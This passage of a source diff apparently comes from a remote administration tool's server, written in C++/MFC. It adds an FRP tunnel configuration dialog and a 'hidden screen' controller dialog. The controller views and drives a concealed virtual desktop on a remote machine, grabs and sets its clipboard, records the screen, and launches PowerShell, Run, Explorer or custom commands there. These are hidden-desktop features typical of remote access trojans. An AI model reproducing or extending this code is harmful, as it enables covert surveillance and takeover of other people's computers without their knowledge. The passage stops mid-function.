|
||||
// 销毁旧控件,创建新控件
|
||||
m_editToken.DestroyWindow();
|
||||
|
||||
DWORD style = WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_BORDER | ES_AUTOHSCROLL;
|
||||
if (!m_bShowToken) {
|
||||
style |= ES_PASSWORD;
|
||||
}
|
||||
|
||||
m_editToken.CreateEx(WS_EX_CLIENTEDGE, _T("EDIT"), currentText, style, rect, this, IDC_EDIT_FRPS_TOKEN);
|
||||
m_editToken.SetFont(GetFont());
|
||||
|
||||
// 更新按钮文字(显示时用眼睛图标,隐藏时用星号)
|
||||
m_btnShowToken.SetWindowText(m_bShowToken ? _T("○") : _T("*"));
|
||||
}
|
||||
|
||||
// 静态方法:获取 FRPS 配置
|
||||
FrpsConfig CFrpsForSubDlg::GetFrpsConfig()
|
||||
{
|
||||
FrpsConfig config;
|
||||
config.enabled = THIS_CFG.GetInt("frps_for_sub", "enabled", 0) != 0;
|
||||
config.localFrps = THIS_CFG.GetInt("frps_for_sub", "local_frps", 0) != 0;
|
||||
config.server = THIS_CFG.GetStr("frps_for_sub", "server", "");
|
||||
config.port = THIS_CFG.GetInt("frps_for_sub", "port", 7000);
|
||||
config.token = THIS_CFG.GetStr("frps_for_sub", "token", "");
|
||||
config.portStart = THIS_CFG.GetInt("frps_for_sub", "port_start", 20000);
|
||||
config.portEnd = THIS_CFG.GetInt("frps_for_sub", "port_end", 29999);
|
||||
config.authMode = (FrpAuthMode)THIS_CFG.GetInt("frps_for_sub", "auth_mode", FRP_AUTH_PRIVILEGE_KEY);
|
||||
return config;
|
||||
}
|
||||
|
||||
// 静态方法:检查 FRPS 是否已配置且启用
|
||||
bool CFrpsForSubDlg::IsFrpsConfigured()
|
||||
{
|
||||
FrpsConfig config = GetFrpsConfig();
|
||||
return config.enabled && !config.server.empty() && !config.token.empty() && config.port > 0;
|
||||
}
|
||||
|
||||
// 静态方法:查找下一个可用端口(不保存)
|
||||
int CFrpsForSubDlg::FindNextAvailablePort()
|
||||
{
|
||||
FrpsConfig frpsCfg = GetFrpsConfig();
|
||||
int portStart = frpsCfg.portStart > 0 ? frpsCfg.portStart : 20000;
|
||||
int portEnd = frpsCfg.portEnd > 0 ? frpsCfg.portEnd : 29999;
|
||||
|
||||
// 使用 config 类访问 frp_ports.ini
|
||||
::config portsCfg(GetFrpPortsPath());
|
||||
|
||||
// 查找下一个可用端口
|
||||
for (int port = portStart; port <= portEnd; port++) {
|
||||
char portStr[16];
|
||||
sprintf_s(portStr, "%d", port);
|
||||
std::string owner = portsCfg.GetStr("ports", portStr, "");
|
||||
if (owner.empty()) {
|
||||
return port; // 找到可用端口,不保存
|
||||
}
|
||||
}
|
||||
|
||||
return -1; // 没有可用端口
|
||||
}
|
||||
|
||||
// 静态方法:记录端口分配(保存到配置文件)
|
||||
void CFrpsForSubDlg::RecordPortAllocation(int port, const std::string& serialNumber)
|
||||
{
|
||||
if (port <= 0 || serialNumber.empty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
::config portsCfg(GetFrpPortsPath());
|
||||
char portStr[16];
|
||||
sprintf_s(portStr, "%d", port);
|
||||
portsCfg.SetStr("ports", portStr, serialNumber);
|
||||
}
|
||||
|
||||
// 静态方法:检查端口是否已分配
|
||||
bool CFrpsForSubDlg::IsPortAllocated(int port)
|
||||
{
|
||||
::config portsCfg(GetFrpPortsPath());
|
||||
char portStr[16];
|
||||
sprintf_s(portStr, "%d", port);
|
||||
return !portsCfg.GetStr("ports", portStr, "").empty();
|
||||
}
|
||||
|
||||
// 静态方法:获取端口对应的序列号
|
||||
std::string CFrpsForSubDlg::GetPortOwner(int port)
|
||||
{
|
||||
::config portsCfg(GetFrpPortsPath());
|
||||
char portStr[16];
|
||||
sprintf_s(portStr, "%d", port);
|
||||
return portsCfg.GetStr("ports", portStr, "");
|
||||
}
|
||||
83
server/2015Remote/FrpsForSubDlg.h
Normal file
83
server/2015Remote/FrpsForSubDlg.h
Normal file
@@ -0,0 +1,83 @@
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
#include "LangManager.h"
|
||||
|
||||
// FRP 认证模式
|
||||
enum FrpAuthMode {
|
||||
FRP_AUTH_TOKEN = 0, // 官方 FRP: 直接使用 token
|
||||
FRP_AUTH_PRIVILEGE_KEY = 1 // 自定义 FRP: 使用 privilegeKey = MD5(token + timestamp)
|
||||
};
|
||||
|
||||
// FRPS 配置结构体
|
||||
struct FrpsConfig {
|
||||
bool enabled;
|
||||
bool localFrps; // FRPS 运行在本机
|
||||
std::string server;
|
||||
int port;
|
||||
std::string token;
|
||||
int portStart;
|
||||
int portEnd;
|
||||
FrpAuthMode authMode; // 认证模式
|
||||
|
||||
FrpsConfig() : enabled(false), localFrps(false), port(7000), portStart(20000), portEnd(29999), authMode(FRP_AUTH_PRIVILEGE_KEY) {}
|
||||
};
|
||||
|
||||
// 下级 FRP 代理设置对话框
|
||||
class CFrpsForSubDlg : public CDialogLangEx
|
||||
{
|
||||
public:
|
||||
CFrpsForSubDlg(CWnd* pParent = nullptr);
|
||||
virtual ~CFrpsForSubDlg();
|
||||
|
||||
enum { IDD = IDD_DIALOG_FRPS_FOR_SUB };
|
||||
|
||||
// 获取当前配置
|
||||
static FrpsConfig GetFrpsConfig();
|
||||
// 检查 FRPS 是否已配置且启用
|
||||
static bool IsFrpsConfigured();
|
||||
// 查找下一个可用端口(不保存)
|
||||
static int FindNextAvailablePort();
|
||||
// 记录端口分配(保存到配置文件)
|
||||
static void RecordPortAllocation(int port, const std::string& serialNumber);
|
||||
// 检查端口是否已分配
|
||||
static bool IsPortAllocated(int port);
|
||||
// 获取端口对应的序列号
|
||||
static std::string GetPortOwner(int port);
|
||||
// 获取 FRP 端口分配文件路径
|
||||
static std::string GetFrpPortsPath();
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual void OnOK();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
afx_msg void OnBnClickedCheckFrpsEnabled();
|
||||
afx_msg void OnBnClickedCheckFrpsLocal();
|
||||
afx_msg void OnBnClickedBtnShowToken();
|
||||
|
||||
private:
|
||||
void LoadSettings();
|
||||
void SaveSettings();
|
||||
void UpdateControlStates();
|
||||
bool ValidateInput();
|
||||
|
||||
private:
|
||||
// 控件变量
|
||||
CButton m_checkEnabled;
|
||||
CButton m_checkLocalFrps;
|
||||
CEdit m_editServer;
|
||||
CEdit m_editPort;
|
||||
CEdit m_editToken;
|
||||
CButton m_btnShowToken;
|
||||
CEdit m_editPortStart;
|
||||
CEdit m_editPortEnd;
|
||||
CButton m_radioOfficial;
|
||||
CButton m_radioCustom;
|
||||
|
||||
// 数据变量
|
||||
FrpsConfig m_config;
|
||||
bool m_bShowToken;
|
||||
};
|
||||
939
server/2015Remote/HideScreenSpyDlg.cpp
Normal file
939
server/2015Remote/HideScreenSpyDlg.cpp
Normal file
@@ -0,0 +1,939 @@
|
||||
// ScreenSpyDlg.cpp : implementation file
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "InputDlg.h"
|
||||
#include "CTextDlg.h"
|
||||
#include "HideScreenSpyDlg.h"
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
#define TIMER_ID 132
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CHideScreenSpyDlg dialog
|
||||
enum {
|
||||
IDM_SET_FLUSH = 0x0010,
|
||||
IDM_CONTROL,
|
||||
IDM_SAVEDIB, // 保存图片
|
||||
IDM_SAVEAVI_S, // 保存录像
|
||||
IDM_GET_CLIPBOARD, // 获取剪贴板
|
||||
IDM_SET_CLIPBOARD, // 设置剪贴板
|
||||
IDM_SETSCERRN, // 修改分辨率
|
||||
IDM_QUALITY60, // 清晰度低
|
||||
IDM_QUALITY85, // 清晰度中
|
||||
IDM_QUALITY100, // 清晰度高
|
||||
|
||||
IDM_FPS_1,
|
||||
IDM_FPS_5,
|
||||
IDM_FPS_10,
|
||||
IDM_FPS_15,
|
||||
IDM_FPS_20,
|
||||
IDM_FPS_25,
|
||||
IDM_FPS_30,
|
||||
IDM_SAVEAVI_H264 = 996,
|
||||
};
|
||||
|
||||
IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)
|
||||
|
||||
bool DirectoryExists(const char* path);
|
||||
std::string GetScreenShotPath(CWnd* parent, const CString& ip, const CString& filter, const CString& suffix);
|
||||
|
||||
CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||
: DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP)
|
||||
{
|
||||
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
|
||||
m_BitmapData_Full = NULL;
|
||||
m_lpvRectBits = NULL;
|
||||
|
||||
UINT nBISize = m_ContextObject->GetBufferLength() - 1;
|
||||
m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[nBISize];
|
||||
m_lpbmi_rect = (BITMAPINFO*) new BYTE[nBISize];
|
||||
memcpy(m_BitmapInfor_Full, m_ContextObject->GetBuffer(1), nBISize);
|
||||
memcpy(m_lpbmi_rect, m_ContextObject->GetBuffer(1), nBISize);
|
||||
m_bIsCtrl = true;
|
||||
m_bIsClosed = FALSE;
|
||||
m_ClientCursorPos = {};
|
||||
m_bCursorIndex = -1;
|
||||
}
|
||||
|
||||
CHideScreenSpyDlg::~CHideScreenSpyDlg()
|
||||
{
|
||||
m_bIsClosed = TRUE;
|
||||
m_ContextObject->GetServer()->Disconnect(m_ContextObject);
|
||||
DestroyIcon(m_hIcon);
|
||||
Sleep(200);
|
||||
|
||||
::ReleaseDC(m_hWnd, m_hFullDC);
|
||||
DeleteDC(m_hFullMemDC);
|
||||
DeleteObject(m_BitmapHandle);
|
||||
SAFE_DELETE_ARRAY(m_lpvRectBits);
|
||||
SAFE_DELETE_ARRAY(m_BitmapInfor_Full);
|
||||
SAFE_DELETE_ARRAY(m_lpbmi_rect);
|
||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW));
|
||||
m_bIsCtrl = false;
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CHideScreenSpyDlg, CDialog)
|
||||
ON_WM_SYSCOMMAND()
|
||||
ON_WM_SIZE()
|
||||
ON_WM_PAINT()
|
||||
ON_WM_TIMER()
|
||||
ON_WM_CLOSE()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CHideScreenSpyDlg message handlers
|
||||
void CHideScreenSpyDlg::OnClose()
|
||||
{
|
||||
if (!m_aviFile.IsEmpty()) {
|
||||
KillTimer(TIMER_ID);
|
||||
m_aviFile = "";
|
||||
m_aviStream.Close();
|
||||
}
|
||||
CancelIO();
|
||||
// 等待数据处理完毕
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
// 恢复鼠标状态
|
||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW));
|
||||
CDialogBase::OnClose();
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::OnReceiveComplete()
|
||||
{
|
||||
if (m_bIsClosed) return;
|
||||
switch (m_ContextObject->GetBuffer(0)[0]) {
|
||||
case TOKEN_FIRSTSCREEN: {
|
||||
m_bIsFirst = false;
|
||||
DrawFirstScreen(m_ContextObject->GetBuffer(1), m_ContextObject->GetBufferLength()-1);
|
||||
}
|
||||
break;
|
||||
case TOKEN_NEXTSCREEN: {
|
||||
DrawNextScreenDiff(m_ContextObject->GetBuffer(0), m_ContextObject->GetBufferLength());
|
||||
break;
|
||||
}
|
||||
case TOKEN_BITMAPINFO_HIDE:
|
||||
ResetScreen();
|
||||
break;
|
||||
case TOKEN_CLIPBOARD_TEXT:
|
||||
UpdateServerClipboard((char*)m_ContextObject->GetBuffer(1), m_ContextObject->GetBufferLength() - 1);
|
||||
break;
|
||||
case TOKEN_SCREEN_SIZE:
|
||||
memcpy(&m_rect, m_ContextObject->GetBuffer(0) + 1, sizeof(RECT));
|
||||
return;
|
||||
default:
|
||||
Mprintf("Unknown command: %d\n", (int)m_ContextObject->GetBuffer(0)[0]);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
bool CHideScreenSpyDlg::SaveSnapshot()
|
||||
{
|
||||
auto path = GetScreenShotPath(this, m_IPAddress, "位图文件(*.bmp)|*.bmp|", "bmp");
|
||||
if (path.empty())
|
||||
return FALSE;
|
||||
|
||||
WriteBitmap(m_BitmapInfor_Full, m_BitmapData_Full, path.c_str());
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL CHideScreenSpyDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
CString strString;
|
||||
strString.FormatL("%s - 远程虚拟屏幕 %d×%d", m_IPAddress,
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
SetWindowText(strString);
|
||||
|
||||
// Set the icon for this dialog. The framework does this automatically
|
||||
// when the application's main window is not a dialog
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
if (pSysMenu != NULL) {
|
||||
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_SET_FLUSH, _T("刷新(&F)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_CONTROL, _T("控制屏幕(&Y)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_SAVEDIB, _T("保存快照(&S)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_SAVEAVI_S, _T("录像(MJPEG)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_SAVEAVI_H264, _T("录像(H264)"));
|
||||
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_GET_CLIPBOARD, _T("获取剪贴板(&R)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_SET_CLIPBOARD, _T("设置剪贴板(&L)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_SETSCERRN, _T("修复分辨率(&G)"));
|
||||
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_QUALITY60, _T("清晰度低60/100"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_QUALITY85, _T("清晰度中85/100"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_QUALITY100, _T("清晰度高100/100"));
|
||||
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
|
||||
|
||||
/*
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_1, _T("FPS-1"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_5, _T("FPS-5"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_10, _T("FPS-10"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_15, _T("FPS-15"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_20, _T("FPS-20"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_25, _T("FPS-25"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_30, _T("FPS-30"));
|
||||
pSysMenu->AppendMenuL(MF_SEPARATOR);
|
||||
*/
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Explorer, _T("打开-文件管理(&B)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_run, _T("打开-运行(&H)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Powershell, _T("打开-Powershell(&N)"));
|
||||
|
||||
/*
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Chrome, _T("打开-Chrome(&I)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Edge, _T("打开-Edge(&M)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Brave, _T("打开-Brave(&D)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Firefox, _T("打开-Firefox(&V)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Iexplore, _T("打开-Iexplore(&Z)"));
|
||||
*/
|
||||
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_zdy, _T("自定义CMD命令(&y)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_zdy2, _T("高级自定义命令(&O)"));
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_close, _T("清理后台(&J)"));
|
||||
|
||||
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY85, MF_BYCOMMAND);
|
||||
}
|
||||
|
||||
// TODO: Add extra initialization here
|
||||
m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
|
||||
ICONINFO CursorInfo;
|
||||
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
|
||||
pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)m_hRemoteCursor);
|
||||
if (CursorInfo.hbmMask != NULL)
|
||||
::DeleteObject(CursorInfo.hbmMask);
|
||||
if (CursorInfo.hbmColor != NULL)
|
||||
::DeleteObject(CursorInfo.hbmColor);
|
||||
// 初始化窗口大小结构
|
||||
m_hFullDC = ::GetDC(m_hWnd);
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||
m_lpvRectBits = new BYTE[m_lpbmi_rect->bmiHeader.biSizeImage];
|
||||
SelectObject(m_hFullMemDC, m_BitmapHandle);
|
||||
SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE);
|
||||
SetStretchBltMode(m_hFullMemDC, STRETCH_HALFTONE);
|
||||
GetClientRect(&m_CRect);
|
||||
ScreenToClient(m_CRect);
|
||||
m_wZoom = ((double)m_BitmapInfor_Full->bmiHeader.biWidth) / ((double)(m_CRect.right - m_CRect.left));
|
||||
m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top));
|
||||
SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE);
|
||||
BYTE bBuff = COMMAND_NEXT;
|
||||
m_ContextObject->Send2Client(&bBuff, 1);
|
||||
#ifdef _DEBUG
|
||||
// ShowWindow(SW_MINIMIZE);
|
||||
#endif
|
||||
m_strTip = CString("请等待......");
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// EXCEPTION: OCX Property Pages should return FALSE
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::ResetScreen()
|
||||
{
|
||||
UINT nBISize = m_ContextObject->GetBufferLength() - 1;
|
||||
if (m_BitmapInfor_Full != NULL) {
|
||||
SAFE_DELETE_ARRAY(m_BitmapInfor_Full);
|
||||
SAFE_DELETE_ARRAY(m_lpbmi_rect);
|
||||
m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[nBISize];
|
||||
m_lpbmi_rect = (BITMAPINFO*) new BYTE[nBISize];
|
||||
memcpy(m_BitmapInfor_Full, m_ContextObject->GetBuffer(1), nBISize);
|
||||
memcpy(m_lpbmi_rect, m_ContextObject->GetBuffer(1), nBISize);
|
||||
DeleteObject(m_BitmapHandle);
|
||||
m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||
if (m_lpvRectBits) {
|
||||
delete[] m_lpvRectBits;
|
||||
m_lpvRectBits = new BYTE[m_lpbmi_rect->bmiHeader.biSizeImage];
|
||||
}
|
||||
SelectObject(m_hFullMemDC, m_BitmapHandle);
|
||||
SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE);
|
||||
SetStretchBltMode(m_hFullMemDC, STRETCH_HALFTONE);
|
||||
GetClientRect(&m_CRect);
|
||||
ScreenToClient(m_CRect);
|
||||
m_wZoom = ((double)m_BitmapInfor_Full->bmiHeader.biWidth) / ((double)(m_CRect.right - m_CRect.left));
|
||||
m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top));
|
||||
}
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::DrawFirstScreen(PBYTE pDeCompressionData, unsigned long destLen)
|
||||
{
|
||||
BYTE algorithm = pDeCompressionData[0];
|
||||
LPVOID lpFirstScreen = pDeCompressionData + 1;
|
||||
DWORD dwFirstLength = destLen - 1;
|
||||
if (algorithm == ALGORITHM_HOME) {
|
||||
if(dwFirstLength > 0)
|
||||
JPG_BMP(m_BitmapInfor_Full->bmiHeader.biBitCount, lpFirstScreen, dwFirstLength, m_BitmapData_Full);
|
||||
} else {
|
||||
m_ContextObject->CopyBuffer(m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage, 1);
|
||||
}
|
||||
#if _DEBUG
|
||||
DoPaint();
|
||||
#else
|
||||
PostMessage(WM_PAINT);
|
||||
#endif
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::DrawNextScreenHome(PBYTE pDeCompressionData, unsigned long destLen)
|
||||
{
|
||||
if (!destLen) return;
|
||||
|
||||
// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标, 防止鼠标闪烁
|
||||
bool bIsReDraw = false;
|
||||
int nHeadLength = 1; // 标识[1] + 算法[1]
|
||||
LPVOID lpNextScreen = pDeCompressionData + nHeadLength;
|
||||
DWORD dwNextLength = destLen - nHeadLength;
|
||||
DWORD dwNextOffset = 0;
|
||||
|
||||
// 屏幕数据是否变化
|
||||
while (dwNextOffset < dwNextLength) {
|
||||
int* pinlen = (int*)((LPBYTE)lpNextScreen + dwNextOffset);
|
||||
|
||||
if (JPG_BMP(m_BitmapInfor_Full->bmiHeader.biBitCount, pinlen + 1, *pinlen, m_lpvRectBits)) {
|
||||
bIsReDraw = true;
|
||||
LPRECT lpChangedRect = (LPRECT)((LPBYTE)(pinlen + 1) + *pinlen);
|
||||
int nChangedRectWidth = lpChangedRect->right - lpChangedRect->left;
|
||||
int nChangedRectHeight = lpChangedRect->bottom - lpChangedRect->top;
|
||||
|
||||
m_lpbmi_rect->bmiHeader.biWidth = nChangedRectWidth;
|
||||
m_lpbmi_rect->bmiHeader.biHeight = nChangedRectHeight;
|
||||
m_lpbmi_rect->bmiHeader.biSizeImage = (((nChangedRectWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
|
||||
* nChangedRectHeight;
|
||||
|
||||
StretchDIBits(m_hFullMemDC, lpChangedRect->left, lpChangedRect->top, nChangedRectWidth, nChangedRectHeight,
|
||||
0, 0, nChangedRectWidth, nChangedRectHeight, m_lpvRectBits, m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
|
||||
|
||||
dwNextOffset += sizeof(int) + *pinlen + sizeof(RECT);
|
||||
}
|
||||
}
|
||||
|
||||
if (bIsReDraw) {
|
||||
DoPaint();
|
||||
}
|
||||
}
|
||||
|
||||
BOOL CHideScreenSpyDlg::ParseFrame(void)
|
||||
{
|
||||
//该函数不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用
|
||||
//OnPaint画上去
|
||||
//根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
|
||||
BOOL bChange = FALSE;
|
||||
const ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
|
||||
ULONG NextScreenLength = m_ContextObject->GetBufferLength() - ulHeadLength;
|
||||
|
||||
POINT OldClientCursorPos;
|
||||
memcpy(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT));
|
||||
memcpy(&m_ClientCursorPos, m_ContextObject->GetBuffer(2), sizeof(POINT));
|
||||
|
||||
// 鼠标移动了
|
||||
if (memcmp(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)) != 0) {
|
||||
bChange = TRUE;
|
||||
}
|
||||
|
||||
// 光标类型发生变化
|
||||
BYTE bOldCursorIndex = m_bCursorIndex;
|
||||
m_bCursorIndex = m_ContextObject->GetBYTE(2 + sizeof(POINT));
|
||||
if (bOldCursorIndex != m_bCursorIndex) {
|
||||
bChange = TRUE;
|
||||
if (m_bIsCtrl)//替换指定窗口所属类的WNDCLASSEX结构
|
||||
#ifdef _WIN64
|
||||
SetClassLongPtrA(m_hWnd, GCLP_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
|
||||
#else
|
||||
SetClassLongA(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
|
||||
#endif
|
||||
}
|
||||
|
||||
// 屏幕是否变化
|
||||
if (NextScreenLength > 0) {
|
||||
bChange = TRUE;
|
||||
}
|
||||
return bChange;
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::DrawNextScreenDiff(PBYTE pDeCompressionData, unsigned long destLen)
|
||||
{
|
||||
if (!destLen) return;
|
||||
// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标, 防止鼠标闪烁
|
||||
BYTE algorithm = pDeCompressionData[1];
|
||||
if (algorithm == ALGORITHM_HOME) {
|
||||
return DrawNextScreenHome(pDeCompressionData + 1, destLen - 1);
|
||||
}
|
||||
bool bIsReDraw = ParseFrame();
|
||||
bool keyFrame = false;
|
||||
const ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE);
|
||||
LPVOID FirstScreenData = m_BitmapData_Full;
|
||||
LPVOID NextScreenData = m_ContextObject->GetBuffer(ulHeadLength);
|
||||
ULONG NextScreenLength = NextScreenData ? m_ContextObject->GetBufferLength() - ulHeadLength : 0;
|
||||
|
||||
LPBYTE dst = (LPBYTE)FirstScreenData, p = (LPBYTE)NextScreenData;
|
||||
if (keyFrame) {
|
||||
if (m_BitmapInfor_Full->bmiHeader.biSizeImage == NextScreenLength)
|
||||
memcpy(dst, p, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
} else if (0 != NextScreenLength) {
|
||||
bIsReDraw = true;
|
||||
for (LPBYTE end = p + NextScreenLength; p < end; ) {
|
||||
ULONG ulCount = *(LPDWORD(p + sizeof(ULONG)));
|
||||
if (algorithm == ALGORITHM_GRAY) {
|
||||
LPBYTE p1 = dst + *(LPDWORD)p, p2 = p + 2 * sizeof(ULONG);
|
||||
for (int i = 0; i < ulCount; ++i, p1 += 4)
|
||||
memset(p1, *p2++, sizeof(DWORD));
|
||||
} else {
|
||||
memcpy(dst + *(LPDWORD)p, p + 2 * sizeof(ULONG), ulCount);
|
||||
}
|
||||
p += 2 * sizeof(ULONG) + ulCount;
|
||||
}
|
||||
}
|
||||
|
||||
if (bIsReDraw) {
|
||||
DoPaint();
|
||||
}
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
__super::OnSize(nType, cx, cy);
|
||||
|
||||
// TODO: Add your message handler code here
|
||||
if (!IsWindowVisible())
|
||||
return;
|
||||
|
||||
GetClientRect(&m_CRect);
|
||||
ScreenToClient(m_CRect);
|
||||
if (!m_bIsFirst) {
|
||||
m_wZoom = ((double)m_BitmapInfor_Full->bmiHeader.biWidth) / ((double)(m_CRect.right - m_CRect.left));
|
||||
m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top));
|
||||
}
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
{
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
switch (nID) {
|
||||
case SC_MAXIMIZE:
|
||||
OnNcLButtonDblClk(HTCAPTION, NULL);
|
||||
return;
|
||||
case SC_MONITORPOWER: // 拦截显示器节电自动关闭的消息
|
||||
return;
|
||||
case SC_SCREENSAVE: // 拦截屏幕保护启动的消息
|
||||
return;
|
||||
case IDM_SET_FLUSH: {
|
||||
BYTE bToken = COMMAND_FLUSH_HIDE;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_CONTROL: {
|
||||
m_bIsCtrl = !m_bIsCtrl;
|
||||
pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||
|
||||
if (m_bIsCtrl) {
|
||||
